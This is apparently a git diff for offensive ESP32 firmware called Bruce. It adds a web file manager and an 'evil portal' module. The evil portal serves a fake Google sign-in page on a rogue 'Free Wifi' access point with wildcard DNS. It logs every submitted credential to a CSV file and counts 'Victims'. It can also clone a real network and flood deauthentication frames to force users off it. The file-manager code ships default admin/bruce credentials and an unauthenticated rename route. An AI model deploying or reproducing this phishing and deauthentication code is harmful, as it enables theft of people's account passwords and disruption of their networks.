    \n" + String(foundfile.name()) + "  "; + returnText += "  \n"; + returnText += "
    " + String(foundfile.name()) + "" + humanReadableSize(foundfile.size()) + "  \n"; + returnText += "  \n"; + returnText += "
    "; + } + + return returnText; +} + +/********************************************************************** +** Function: processor +** parses and processes webpages if the webpage has %SOMETHING% +** or %SOMETHINGELSE% it will replace those strings with the ones defined +**********************************************************************/ + +String processor(const String& var) { + if (var == "FIRMWARE") return String(BRUCE_VERSION); + else if (var == "FREESD") return humanReadableSize(SD.totalBytes() - SD.usedBytes()); + else if (var == "USEDSD") return humanReadableSize(SD.usedBytes()); + else if (var == "TOTALSD") return humanReadableSize(SD.totalBytes()); + else return "Attribute not configured"; +} + + +/********************************************************************** +** Function: checkUserWebAuth +** used by server.on functions to discern whether a user has the correct +** httpapitoken OR is authenticated by username and password +**********************************************************************/ +bool checkUserWebAuth(AsyncWebServerRequest * request) { + bool isAuthenticated = false; + if (request->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) { + isAuthenticated = true; + } + return isAuthenticated; +} + +/********************************************************************** +** Function: handleUpload +** handles uploads to the filserver +**********************************************************************/ +void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) { + // make sure authenticated before allowing upload + Serial.println("Folder: " + uploadFolder); + if (uploadFolder=="/") uploadFolder = ""; + + if (checkUserWebAuth(request)) { + if (!index) { + // open the file on first call and store the file handle in the request object + request->_tempFile = SD.open(uploadFolder + "/" + filename, "w"); + } + + if (len) { + // stream the incoming chunk to the opened file + request->_tempFile.write(data, len); + } + + if (final) { + // close the file handle as the upload is now done + request->_tempFile.close(); + request->redirect("/"); + enableCore0WDT(); + } + } else { + return request->requestAuthentication(); + } +} +/********************************************************************** +** Function: notFound +** handles not found requests +**********************************************************************/ +void notFound(AsyncWebServerRequest *request) { + request->send(404, "text/plain", "Not found"); +} + + + +/********************************************************************** +** Function: configureWebServer +** configure web server +**********************************************************************/ +void configureWebServer() { + + MDNS.begin(host); + + // if url isn't found + server->onNotFound([](AsyncWebServerRequest * request) { + request->redirect("/"); + }); + + // visiting this page will cause you to be logged out + server->on("/logout", HTTP_GET, [](AsyncWebServerRequest * request) { + request->requestAuthentication(); + request->send(401); + }); + + // presents a "you are now logged out webpage + server->on("/logged-out", HTTP_GET, [](AsyncWebServerRequest * request) { + String logmessage = "Client:" + request->client()->remoteIP().toString() + " " + request->url(); + Serial.println(logmessage); + request->send_P(401, "text/html", logout_html, processor); + }); + + server->on("/rename", HTTP_POST, [](AsyncWebServerRequest * request) { + if (request->hasParam("fileName", true) && request->hasParam("filePath", true)) { + String fileName = request->getParam("fileName", true)->value().c_str(); + String filePath = request->getParam("filePath", true)->value().c_str(); + String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName; + if(!SD.begin()) { + sdcardMounted=false; + request->send(200, "text/plain", "Fail starting SD Card."); + } else { + // Rename the file of folder + if (SD.rename(filePath, filePath2)) { + request->send(200, "text/plain", filePath + " renamed to " + filePath2); + } else { + request->send(200, "text/plain", "Fail renaming file."); + } + } + } + }); + + // run handleUpload function when any file is uploaded + server->onFileUpload(handleUpload); + + + server->on("/", HTTP_GET, [](AsyncWebServerRequest * request) { + if (checkUserWebAuth(request)) { + request->send_P(200, "text/html", index_html, processor); + } else { + return request->requestAuthentication(); + } + }); + + server->on("/reboot", HTTP_GET, [](AsyncWebServerRequest * request) { + if (checkUserWebAuth(request)) { + ESP.restart(); + } else { + return request->requestAuthentication(); + } + }); + + server->on("/listfiles", HTTP_GET, [](AsyncWebServerRequest * request) + { + if (checkUserWebAuth(request)) { + update = false; + String folder = ""; + if (request->hasParam("folder")) { + folder = request->getParam("folder")->value().c_str(); + } else { + String folder = "/"; + } + request->send(200, "text/plain", listFiles(true, folder)); + + } else { + return request->requestAuthentication(); + } + }); + + server->on("/file", HTTP_GET, [](AsyncWebServerRequest * request) { + if (checkUserWebAuth(request)) { + if (request->hasParam("name") && request->hasParam("action")) { + const char *fileName = request->getParam("name")->value().c_str(); + const char *fileAction = request->getParam("action")->value().c_str(); + + if (!SD.exists(fileName)) { + request->send(400, "text/plain", "ERROR: file does not exist"); + } else { + if (strcmp(fileAction, "download") == 0) { + request->send(SD, fileName, "application/octet-stream"); + } else if (strcmp(fileAction, "delete") == 0) { + if(deleteFromSd(fileName)) { request->send(200, "text/plain", "Deleted : " + String(fileName)); } + else { request->send(200, "text/plain", "FAIL delating: " + String(fileName));} + + } else if (strcmp(fileAction, "create") == 0) { + if(SD.mkdir(fileName)) { + } else { request->send(200, "text/plain", "FAIL creating folder: " + String(fileName));} + request->send(200, "text/plain", "Created new folder: " + String(fileName)); + } else { + request->send(400, "text/plain", "ERROR: invalid action param supplied"); + } + } + } else { + request->send(400, "text/plain", "ERROR: name and action params required"); + } + } else { + return request->requestAuthentication(); + } + }); + + server->on("/wifi", HTTP_GET, [](AsyncWebServerRequest * request) { + if (checkUserWebAuth(request)) { + if (request->hasParam("usr") && request->hasParam("pwd")) { + const char *ssid = request->getParam("usr")->value().c_str(); + const char *pwd = request->getParam("pwd")->value().c_str(); + SD.remove(fileconf); + File file = SD.open(fileconf, FILE_WRITE); + file.print(String(ssid) + ";" + String(pwd) + ";\n"); + config.httpuser = ssid; + config.httppassword = pwd; + file.print("#ManagerUser;ManagerPassword;"); + file.close(); + request->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd)); + } + } else { + return request->requestAuthentication(); + } + }); + + server->on("/Oc34N", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(404, "text/html", page_404); + }); + +} + +/********************************************************************** +** Function: startWebUi +** Start the WebUI +**********************************************************************/ +void startWebUi(bool mode_ap) { + +config.httpuser = default_httpuser; +config.httppassword = default_httppassword; +config.webserverporthttp = default_webserverporthttp; +file_size = 0; + + if(setupSdCard()) { + if(SD.exists(fileconf)) { + Serial.println("File Exists, reading " + fileconf); + File file = SD.open(fileconf, FILE_READ); + if(file) { + default_httpuser = readLineFromFile(file); + default_httppassword = readLineFromFile(file); + config.httpuser = default_httpuser; + config.httppassword = default_httppassword; + + file.close(); + } + } + else { + File file = SD.open(fileconf, FILE_WRITE); + file.print( default_httpuser + ";" + default_httppassword + ";\n"); + file.print("#ManagerUser;ManagerPassword;"); + file.close(); + } + } + + if (WiFi.status() != WL_CONNECTED) { + // Choose wifi access mode + wifiConnectMenu(mode_ap); + } + + // configure web server + Serial.println("Configuring Webserver ..."); + server = (AsyncWebServer*)malloc(sizeof(AsyncWebServer)); + new (server) AsyncWebServer(config.webserverporthttp); + configureWebServer(); + server->begin(); + + drawMainBorder(); + setTftDisplay(0,0,ALCOLOR,FM); + tft.drawCentreString("BRUCE WebUI",tftWidth/2,7,1); + String txt; + if(!mode_ap) txt = WiFi.localIP().toString(); + else txt = WiFi.softAPIP().toString(); + tft.setTextColor(bruceConfig.priColor); + +#ifndef STICK_C + tft.drawCentreString("http://bruce.local", tftWidth/2,25,1); + setTftDisplay(7,47); +#else + tft.drawCentreString("http://bruce.local", tftWidth/2,17,1); + setTftDisplay(7,26); +#endif + tft.setTextSize(FM); + tft.print("IP: "); tft.println(txt); + tft.setCursor(7,tft.getCursorY()); + tft.println("Usr: " + String(default_httpuser)); + tft.setCursor(7,tft.getCursorY()); + tft.println("Pwd: " + String(default_httppassword)); + tft.setCursor(7,tft.getCursorY()); + tft.setTextColor(TFT_RED); + tft.setTextSize(FP); + + #ifdef CARDPUTER + tft.drawCentreString("press Esc to stop", tftWidth/2,tftHeight-15,1); + #else + tft.drawCentreString("press Pwr to stop", tftWidth/2,tftHeight-15,1); + #endif + + disableCore0WDT(); + disableCore1WDT(); + disableLoopWDT(); + while (!checkSelPress()) { + // nothing here, just to hold the screen until the server is on. + } + server->reset(); + server->end(); + server->~AsyncWebServer(); + free(server); + + server = nullptr; + + + delay(100); + wifiDisconnect(); + +} \ No newline at end of file diff --git a/html/AsyncWebServer/webInterface.h b/html/AsyncWebServer/webInterface.h new file mode 100644 index 00000000..2021675f --- /dev/null +++ b/html/AsyncWebServer/webInterface.h @@ -0,0 +1,503 @@ + +#include +#include "AsyncTCP.h" +#include "ESPAsyncWebServer.h" +#include +#include +#include + +// function defaults +String humanReadableSize(uint64_t bytes); +String listFiles(bool ishtml, String folder); +String processor(const String& var); +String readLineFromFile(File myFile); + +void loopOptionsWebUi(); + +void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final); +void notFound(AsyncWebServerRequest *request); + +void configureWebServer(); +void startWebUi(bool mode_ap = false); + +const char index_html[] PROGMEM = R"rawliteral( + + + + + + + + + + +
    + +

    BRUCE Firmware

    +

    Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.

    +

    Firmware version: %FIRMWARE%

    +

    Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%

    +

    +

    + + + + +

    +

    +

    +

    +

    +

    +
    + + + + +)rawliteral"; + +const char logout_html[] PROGMEM = R"rawliteral( + + + + + + + + +

    Log Back In

    + + +)rawliteral"; + + +const char page_404[] PROGMEM = R"rawliteral( + + +)rawliteral"; \ No newline at end of file diff --git a/html/WebServer/evil_portal.cpp b/html/WebServer/evil_portal.cpp new file mode 100644 index 00000000..17854d44 --- /dev/null +++ b/html/WebServer/evil_portal.cpp @@ -0,0 +1,267 @@ +#include "evil_portal.h" +#include "globals.h" +#include "mykeyboard.h" +#include "wifi_common.h" +#include "sd_functions.h" +#include "wifi_atks.h" + +WebServer* ep= nullptr; // initialise webserver +DNSServer dnsServer; + +String html_file, ep_logo, last_cred; +String AP_name = "Free Wifi"; +int totalCapturedCredentials = 0; +int previousTotalCapturedCredentials = -1; // stupid hack but wtfe +String capturedCredentialsHtml = ""; + +// Default Drauth Frame +const uint8_t deauth_frame_default2[] = { + 0xc0, 0x00, 0x3a, 0x01, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0xff, 0x02, 0x00 +}; + +void handleCreds() { + String html_temp = "
  • "; + String csvLine = ""; + last_cred=""; + for (int i = 0; i < ep->args(); i++) { + html_temp += ep->argName(i) + ": " + ep->arg(i) + "
    \n"; + // Prepara dados para salvar no SD + if (i != 0) { + csvLine += ","; + } + csvLine += ep->argName(i) + ": " + ep->arg(i); + last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n"; + } + html_temp += "
  • \n"; + saveToCSV("/Bruce_creds.csv", csvLine); + capturedCredentialsHtml = html_temp + capturedCredentialsHtml; + totalCapturedCredentials++; + ep->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); +} + +void startEvilPortal(String tssid, uint8_t channel, bool deauth) { + + ep=(WebServer*)malloc(sizeof(WebServer)); + new (ep) WebServer(80); + bool redraw=true; + // Definição da matriz "Options" + options = { + {"Default", [=]() { chooseHtml(false); }}, + {"Custom Html", [=]() { chooseHtml(true); }}, + }; + delay(200); + loopOptions(options); + while(checkNextPress()){ yield(); } // debounce + + // tssid="" means that are opening a virgin Evil Portal + if (tssid=="") { + AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); + } + else { // tssid != "" means that is was cloned and can deploy Deauth + //memcpy(ap_record.bssid, bssid, 6); + memcpy(deauth_frame, deauth_frame_default2, sizeof(deauth_frame_default2)); + wsl_bypasser_send_raw_frame(&ap_record,channel); + AP_name = tssid; + } + + + delay(200); + IPAddress AP_GATEWAY(172, 0, 0, 1); + WiFi.mode(WIFI_AP); + WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); + WiFi.softAP(AP_name,emptyString,channel,0,10,false); + wifiConnected=true; + dnsServer.start(53, "*", WiFi.softAPIP()); + + ep->on("/", [](){ + ep->send(200, "text/html", html_file); + }); + ep->on("/post", handleCreds); + + ep->onNotFound([](){ + if (ep->args()>0) { + handleCreds(); + } else { + ep->send(200, "text/html", html_file); + } + }); + + ep->on("/creds", []() { + ep->send(200, "text/html", creds_GET()); + }); + + ep->on("/ssid", []() { + ep->send(200, "text/html", ssid_GET()); + }); + + ep->on("/postssid", [](){ + if(ep->hasArg("ssid")) AP_name = ep->arg("ssid").c_str(); + ep->send(200, "text/html", ssid_POST()); + ep->stop(); // pára o servidor + wifiDisconnect(); // desliga o WiFi + WiFi.softAP(AP_name); // reinicia WiFi com novo SSID + ep->begin(); // reinicia o servidor + previousTotalCapturedCredentials=-1; // redesenha a tela + }); + + ep->begin(); + + bool hold_deauth = false; + int tmp=millis(); // one deauth frame each 30ms at least + redraw=true; + while(1) { + if(redraw) { + drawMainBorder(); + + tft.setTextSize(FM); + tft.setTextColor(TFT_RED); + tft.drawCentreString("Evil Portal",tftWidth/2, 29, SMOOTH_FONT); + tft.setCursor(8,46); + tft.setTextColor(bruceConfig.priColor); + tft.println("AP: " + AP_name); + tft.setCursor(8,tft.getCursorY()); + tft.println("->" + WiFi.softAPIP().toString() + "/creds"); + tft.setCursor(8,tft.getCursorY()); + tft.println("->" + WiFi.softAPIP().toString() + "/ssid"); + tft.setCursor(8,tft.getCursorY()); + tft.print("Victims: "); + tft.setTextColor(TFT_RED); + tft.println(String(totalCapturedCredentials)); + tft.setCursor(8,tft.getCursorY()); + tft.setTextSize(FP); + tft.println(last_cred); + + if (deauth){ + if (hold_deauth) { + tft.setTextSize(FP); + tft.setTextColor(bruceConfig.priColor); + tft.drawRightString("Deauth OFF", tftWidth-6,tftHeight-8,SMOOTH_FONT); + } else { + tft.setTextSize(FP); + tft.setTextColor(TFT_RED); + tft.drawRightString("Deauth ON", tftWidth-6,tftHeight-8,SMOOTH_FONT); + } + } + + redraw=false; + } + + if(!hold_deauth && (millis()-tmp) >5) { + wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed. + tmp=millis(); + } + + if(checkSelPress() && deauth) { + while(checkSelPress()) { delay(80); } // timerless debounce + hold_deauth = !hold_deauth; + redraw=true; + } + if(totalCapturedCredentials!=(previousTotalCapturedCredentials+1)) { + redraw=true; + previousTotalCapturedCredentials = totalCapturedCredentials-1; + } + dnsServer.processNextRequest(); + ep->handleClient(); + + if(checkEscPress()) break; + } + ep->close(); + ep->~WebServer(); + free(ep); + ep=nullptr; + dnsServer.stop(); + + delay(100); + wifiDisconnect(); +} + +// Função para salvar dados no arquivo CSV +void saveToCSV(const String &filename, const String &csvLine) { + File file = SD.open(filename, FILE_APPEND); + if (!file) { + log_i("Error to open file"); + return; + } + file.println(csvLine); + file.close(); + log_i("data saved"); +} + +String getHtmlContents(String body) { + PROGMEM String html = + "" + "" + "" + " " + + AP_name + "" + " " + " " + " " + "" + "" + "
    " + "
    " + " " + " " + "
    " + "
    " + "
    " + " " + ep_logo + + "
    " + "
    " + + body + "
    " + "
    " + "
    " + "" + ""; + return html; +} + +String creds_GET() { + return getHtmlContents("
      " + capturedCredentialsHtml + "

    Back to Index

    Clear passwords

    "); +} + +String ssid_GET() { + return getHtmlContents("

    Set a new SSID for EVIL Portal:

    "); +} +String ssid_POST() { + return getHtmlContents("EVIL Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect."); +} + +String index_GET() { + String loginTitle = String("Sign in"); + String loginSubTitle = String("Use your Google Account"); + String loginEmailPlaceholder = String("Email"); + String loginPasswordPlaceholder = String("Password"); + String loginMessage = String("Please log in to browse securely."); + String loginButton = String("Next"); + + return getHtmlContents("
    " + loginTitle + "
    " + loginSubTitle + "
    " + loginMessage + "
    "); +} +String clear_GET() { + String email = "

    "; + String password = "

    "; + capturedCredentialsHtml = "

    "; + totalCapturedCredentials = 0; + return getHtmlContents("

    The credentials list has been reset.

    Back to capturedCredentialsHtml
    Back to Index
    "); +} + +void chooseHtml(bool def) { + ep_logo = ""; + if(def) { + html_file = loopSD(true); + if(html_file.endsWith(".html")) { + ep_logo = ""; + File html = SD.open(html_file, FILE_READ); + html_file = html.readString(); + } else { + html_file = index_GET(); + } + } else { + html_file = index_GET(); + } +} diff --git a/html/WebServer/evil_portal.h b/html/WebServer/evil_portal.h new file mode 100644 index 00000000..d700e278 --- /dev/null +++ b/html/WebServer/evil_portal.h @@ -0,0 +1,26 @@ +#include +#include +#include +#include +#include + +// function defaults + +void startEvilPortal(String tssid = "", uint8_t channel = 6, bool deauth = false); + +void chooseHtml(bool def = true); + +String getHtmlContents(String body); + +String creds_GET(); + +String index_GET(); + +String clear_GET(); + +String ssid_GET(); + +String ssid_POST(); + +void saveToCSV(const String &filename, const String &csvLine); + diff --git a/html/WebServer/webInterface.cpp b/html/WebServer/webInterface.cpp new file mode 100644 index 00000000..24f326c0 --- /dev/null +++ b/html/WebServer/webInterface.cpp @@ -0,0 +1,467 @@ +#include "globals.h" +#include "webInterface.h" +#include "sd_functions.h" // using sd functions called to rename and manage sd files +#include "wifi_common.h" // using common wifisetup +#include "mykeyboard.h" // using keyboard when calling rename +#include "display.h" // using displayRedStripe as error msg + + +struct Config { + String httpuser; + String httppassword; // password to access web admin + int webserverporthttp; // http port number for web admin +}; + +File uploadFile; + // WiFi as a Client +String default_httpuser = "admin"; +String default_httppassword = "bruce"; +const int default_webserverporthttp = 80; + +//WiFi as an Access Point +IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway + +Config config; // configuration + +WebServer* server=nullptr; // initialise webserver +const char* host = "bruce"; +const String fileconf = "/bruce.txt"; +String uploadFolder=""; + + + +/********************************************************************** +** Function: webUIMyNet +** Display options to launch the WebUI +**********************************************************************/ +void webUIMyNet() { + if (WiFi.status() != WL_CONNECTED) { + if(wifiConnectMenu()) startWebUi(false); + else { + displayError("Wifi Offline"); + } + } else { + //If it is already connected, just start the network + startWebUi(false); + } + // On fail installing will run the following line +} + + +/********************************************************************** +** Function: loopOptionsWebUi +** Display options to launch the WebUI +**********************************************************************/ +void loopOptionsWebUi() { + // Definição da matriz "Options" + options = { + {"my Network", [=]() { webUIMyNet(); }}, + {"AP mode", [=]() { startWebUi(true); }}, + }; + delay(200); + + loopOptions(options); + // On fail installing will run the following line +} + + +/********************************************************************** +** Function: humanReadableSize +** Make size of files human readable +** source: https://github.com/CelliesProjects/minimalUploadAuthESP32 +**********************************************************************/ +String humanReadableSize(uint64_t bytes) { + if (bytes < 1024) return String(bytes) + " B"; + else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + " kB"; + else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + " MB"; + else return String(bytes / 1024.0 / 1024.0 / 1024.0) + " GB"; +} + + + +/********************************************************************** +** Function: listFiles +** list all of the files, if ishtml=true, return html rather than simple text +**********************************************************************/ +String listFiles(bool ishtml, String folder) { + String returnText = ""; + Serial.println("Listing files stored on SD"); + + if (ishtml) { + returnText += "\n"; + } + File root = SD.open(folder); + File foundfile = root.openNextFile(); + if (folder=="//") folder = "/"; + uploadFolder = folder; + String PreFolder = folder; + PreFolder = PreFolder.substring(0, PreFolder.lastIndexOf("/")); + if(PreFolder=="") PreFolder= "/"; + returnText += "\n"; + + if (folder=="/") folder = ""; + while (foundfile) { + if(foundfile.isDirectory()) { + if (ishtml) { + returnText += ""; + returnText += "\n"; + returnText += "\n\n"; + } else { + returnText += "Folder: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n"; + } + } + foundfile = root.openNextFile(); + } + root.close(); + foundfile.close(); + + if (folder=="") folder = "/"; + root = SD.open(folder); + foundfile = root.openNextFile(); + while (foundfile) { + if(!(foundfile.isDirectory())) { + if (ishtml) { + returnText += "\n"; + returnText += "\n"; + returnText += "\n\n"; + } else { + returnText += "File: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n"; + } + } + foundfile = root.openNextFile(); + } + root.close(); + foundfile.close(); + + if (ishtml) { + returnText += "
    NameSize
    ...
    \n" + String(foundfile.name()) + "  "; + returnText += "  \n"; + returnText += "
    " + String(foundfile.name()); + if (String(foundfile.name()).substring(String(foundfile.name()).lastIndexOf('.') + 1).equalsIgnoreCase("bin")) returnText+= " "; + returnText += "" + humanReadableSize(foundfile.size()) + "  \n"; + returnText += "  \n"; + returnText += "
    "; + } + + return returnText; +} + +/********************************************************************** +** Function: processor +** parses and processes webpages if the webpage has %SOMETHING% +** or %SOMETHINGELSE% it will replace those strings with the ones defined +**********************************************************************/ + +String processor(const String& var) { + String processedHtml = var; + processedHtml.replace("%FIRMWARE%", String(BRUCE_VERSION)); + processedHtml.replace("%FREESD%", humanReadableSize(SD.totalBytes() - SD.usedBytes())); + processedHtml.replace("%USEDSD%", humanReadableSize(SD.usedBytes())); + processedHtml.replace("%TOTALSD%", humanReadableSize(SD.totalBytes())); + + return processedHtml; +} + + +/********************************************************************** +** Function: checkUserWebAuth +** used by server->on functions to discern whether a user has the correct +** httpapitoken OR is authenticated by username and password +**********************************************************************/ +bool checkUserWebAuth() { + bool isAuthenticated = false; + if (server->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) { + isAuthenticated = true; + } + return isAuthenticated; +} + + + +/********************************************************************** +** Function: handleUpload +** handles uploads to the filserver +**********************************************************************/ +void handleFileUpload() { + HTTPUpload& upload = server->upload(); + String filename = upload.filename; + if (upload.status == UPLOAD_FILE_START) { + if (!filename.startsWith("/")) filename = "/" + filename; + if (uploadFolder != "/") filename = uploadFolder + filename; + uploadFile = SD.open(filename, "w"); + Serial.println("Upload Start: " + filename); + } else if (upload.status == UPLOAD_FILE_WRITE) { + if (uploadFile) + uploadFile.write(upload.buf, sizeof(upload.buf)); + } else if (upload.status == UPLOAD_FILE_END) { + if (uploadFile) { + uploadFile.close(); + Serial.println("Upload End: " + filename); + server->sendHeader("Location", "/"); // Redireciona para a raiz + server->send(303); + } + } +} + + +/********************************************************************** +** Function: configureWebServer +** configure web server +**********************************************************************/ +void configureWebServer() { + MDNS.begin(host); + + // Configura rota padrão para arquivo não encontrado + server->onNotFound([]() { + server->send(404, "text/html", "Nothing in here, sharky!"); + }); + + // Visitar esta página fará com que você seja solicitado a se autenticar + server->on("/logout", HTTP_GET, []() { + server->sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); + server->sendHeader("Location", "/logged-out", true); // Redireciona para a página de login + server->requestAuthentication(); + server->send(302); // Código de status para redirecionamento + }); + + // Página que apresenta que você está desconectado + server->on("/logged-out", HTTP_GET, []() { + String logMessage = "Cliente desconectado."; + Serial.println(logMessage); + server->send(200, "text/html", logout_html); + }); + + // Uploadfile handler + server->on("/upload", HTTP_POST, []() { + server->send(200, "text/plain", "Upload iniciado"); + }, handleFileUpload); + + // Index page + server->on("/", HTTP_GET, []() { + if (checkUserWebAuth()) { + server->send(200, "text/html", processor(index_html)); + } else { + server->requestAuthentication(); + } + }); + + // Index page + server->on("/Oc34N", HTTP_GET, []() { + if (checkUserWebAuth()) { + server->send(200, "text/html", processor(page_404)); + } else { + server->requestAuthentication(); + } + }); + + // Route to rename a file + server->on("/rename", HTTP_POST, []() { + if (server->hasArg("fileName") && server->hasArg("filePath")) { + String fileName = server->arg("fileName").c_str(); + String filePath = server->arg("filePath").c_str(); + String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName; + if(!SD.begin()) { + sdcardMounted=false; + server->send(200, "text/plain", "Fail starting SD Card."); + } + else { + // Rename the file of folder + if (SD.rename(filePath, filePath2)) { + server->send(200, "text/plain", filePath + " renamed to " + filePath2); + } else { + server->send(200, "text/plain", "Fail renaming file."); + } + } + } + }); + + // Reinicia o ESP + server->on("/reboot", HTTP_GET, []() { + if (checkUserWebAuth()) { + ESP.restart(); + } else { + server->requestAuthentication(); + } + }); + + // List files of the SD Card + server->on("/listfiles", HTTP_GET, []() { + if (checkUserWebAuth()) { + String folder = "/"; + if (server->hasArg("folder")) { + folder = server->arg("folder"); + } + server->send(200, "text/plain", listFiles(true, folder)); + } else { + server->requestAuthentication(); + } + }); + + // define route to handle download, create folder and delete + server->on("/file", HTTP_GET, []() { + if (checkUserWebAuth()) { + if (server->hasArg("name") && server->hasArg("action")) { + String fileName = server->arg("name").c_str(); + String fileAction = server->arg("action").c_str(); + log_i("filename: %s", fileName); + log_i("fileAction: %s", fileAction); + + if (!SD.exists(fileName)) { + if (strcmp(fileAction.c_str(), "create") == 0) { + if (SD.mkdir(fileName)) { + server->send(200, "text/plain", "Created new folder: " + String(fileName)); + } else { + server->send(200, "text/plain", "FAIL creating folder: " + String(fileName)); + } + } else server->send(400, "text/plain", "ERROR: file does not exist"); + + } else { + if (strcmp(fileAction.c_str(), "download") == 0) { + File downloadFile = SD.open(fileName, FILE_READ); + if (downloadFile) { + String contentType = "application/octet-stream"; + server->setContentLength(downloadFile.size()); + server->sendHeader("Content-Type", contentType, true); + server->sendHeader("Content-Disposition", "attachment; filename=\"" + String(downloadFile.name()) + "\""); + server->streamFile(downloadFile, contentType); + downloadFile.close(); + } else { + server->send(500, "text/plain", "Failed to open file for reading"); + } + } else if (strcmp(fileAction.c_str(), "delete") == 0) { + if (deleteFromSd(fileName)) { + server->send(200, "text/plain", "Deleted : " + String(fileName)); + } else { + server->send(200, "text/plain", "FAIL deleting: " + String(fileName)); + } + } else if (strcmp(fileAction.c_str(), "create") == 0) { + if (SD.mkdir(fileName)) { + server->send(200, "text/plain", "Created new folder: " + String(fileName)); + } else { + server->send(200, "text/plain", "FAIL creating folder: " + String(fileName)); + } + } else { + server->send(400, "text/plain", "ERROR: invalid action param supplied"); + } + } + } else { + server->send(400, "text/plain", "ERROR: name and action params required"); + } + } else { + server->requestAuthentication(); + } + }); + + // Configuração de Wi-Fi via página web + server->on("/wifi", HTTP_GET, []() { + if (checkUserWebAuth()) { + if (server->hasArg("usr") && server->hasArg("pwd")) { + const char *ssid = server->arg("usr").c_str(); + const char *pwd = server->arg("pwd").c_str(); + SD.remove(fileconf); + File file = SD.open(fileconf, FILE_WRITE); + file.print(String(ssid) + ";" + String(pwd) + ";\n"); + config.httpuser = ssid; + config.httppassword = pwd; + file.print("#ManagerUser;ManagerPassword;"); + file.close(); + server->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd)); + } + } else { + server->requestAuthentication(); + } + }); + server->begin(); +} +/********************************************************************** +** Function: startWebUi +** Start the WebUI +**********************************************************************/ +void startWebUi(bool mode_ap) { + + config.httpuser = default_httpuser; + config.httppassword = default_httppassword; + config.webserverporthttp = default_webserverporthttp; + + if(setupSdCard()) { + if(SD.exists(fileconf)) { + Serial.println("File Exists, reading " + fileconf); + File file = SD.open(fileconf, FILE_READ); + if(file) { + default_httpuser = readLineFromFile(file); + default_httppassword = readLineFromFile(file); + config.httpuser = default_httpuser; + config.httppassword = default_httppassword; + + file.close(); + } + } + else { + File file = SD.open(fileconf, FILE_WRITE); + file.print( default_httpuser + ";" + default_httppassword + ";\n"); + file.print("#ManagerUser;ManagerPassword;"); + file.close(); + } + } + + if (WiFi.status() != WL_CONNECTED) { + // Choose wifi access mode + wifiConnectMenu(mode_ap); + } + + // configure web server + Serial.println("Configuring Webserver ..."); + server = (WebServer*)malloc(sizeof(WebServer)); + new (server) WebServer(config.webserverporthttp); + + configureWebServer(); + + tft.fillScreen(bruceConfig.bgColor); + tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,ALCOLOR); + setTftDisplay(0,0,ALCOLOR,FM); + tft.drawCentreString("BRUCE WebUI",tftWidth/2,7,1); + String txt; + if(!mode_ap) txt = WiFi.localIP().toString(); + else txt = WiFi.softAPIP().toString(); + tft.setTextColor(bruceConfig.priColor); + +#ifndef STICK_C + tft.drawCentreString("http://bruce.local", tftWidth/2,25,1); + setTftDisplay(7,47); +#else + tft.drawCentreString("http://bruce.local", tftWidth/2,17,1); + setTftDisplay(7,26); +#endif + tft.setTextSize(FM); + tft.print("IP: "); tft.println(txt); + tft.setCursor(7,tft.getCursorY()); + tft.println("Usr: " + String(default_httpuser)); + tft.setCursor(7,tft.getCursorY()); + tft.println("Pwd: " + String(default_httppassword)); + tft.setCursor(7,tft.getCursorY()); + tft.setTextColor(TFT_RED); + tft.setTextSize(FP); + + #ifdef CARDPUTER + tft.drawCentreString("press Esc to stop", tftWidth/2,tftHeight-15,1); + #else + tft.drawCentreString("press Pwr to stop", tftWidth/2,tftHeight-15,1); + #endif + + disableCore0WDT(); + disableCore1WDT(); + disableLoopWDT(); + while (!checkEscPress()) { + server->handleClient(); + // nothing here, just to hold the screen until the server is on. + } + server->close(); + server->~WebServer(); + free(server); + server = nullptr; + MDNS.end(); + + delay(100); + wifiDisconnect(); + +} \ No newline at end of file diff --git a/html/WebServer/webInterface.h b/html/WebServer/webInterface.h new file mode 100644 index 00000000..23053215 --- /dev/null +++ b/html/WebServer/webInterface.h @@ -0,0 +1,499 @@ + +#include +#include +#include +#include +#include + +// function defaults +String humanReadableSize(uint64_t bytes); +String listFiles(bool ishtml, String folder); +String processor(const String& var); +String readLineFromFile(File myFile); + +void loopOptionsWebUi(); + +void configureWebServer(); +void startWebUi(bool mode_ap = false); + +const char index_html[] PROGMEM = R"rawliteral( + + + + + + + + + + +
    + +

    BRUCE Firmware

    +

    Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.

    +

    Firmware version: %FIRMWARE%

    +

    Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%

    +

    +

    + + + + +

    +

    +

    +

    +

    +

    +
    + + + + +)rawliteral"; + +const char logout_html[] PROGMEM = R"rawliteral( + + + + + + + + +

    Log Back In

